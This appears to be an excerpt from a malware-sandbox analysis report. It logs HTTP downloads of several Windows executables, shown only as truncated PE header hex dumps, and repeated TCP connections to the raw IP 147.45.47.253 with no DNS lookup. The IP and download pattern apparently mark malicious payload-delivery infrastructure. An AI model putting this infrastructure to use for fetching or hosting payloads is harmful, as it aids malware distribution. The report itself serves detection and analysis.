61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 16:49:08 GMTETag: "a7550-5e7f0dbb82900"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 16:49:08 GMTETag: "94750-5e7f0dbb82900"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 16:49:08 GMTETag: "6dde8-5e7f0dbb82900"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 16:49:08 GMTETag: "1f3950-5e7f0dbb82900"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 16:49:08 GMTETag: "3ef50-5e7f0dbb82900"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 18:12:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 16:49:08 GMTETag: "13bf0-5e7f0dbb82900"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
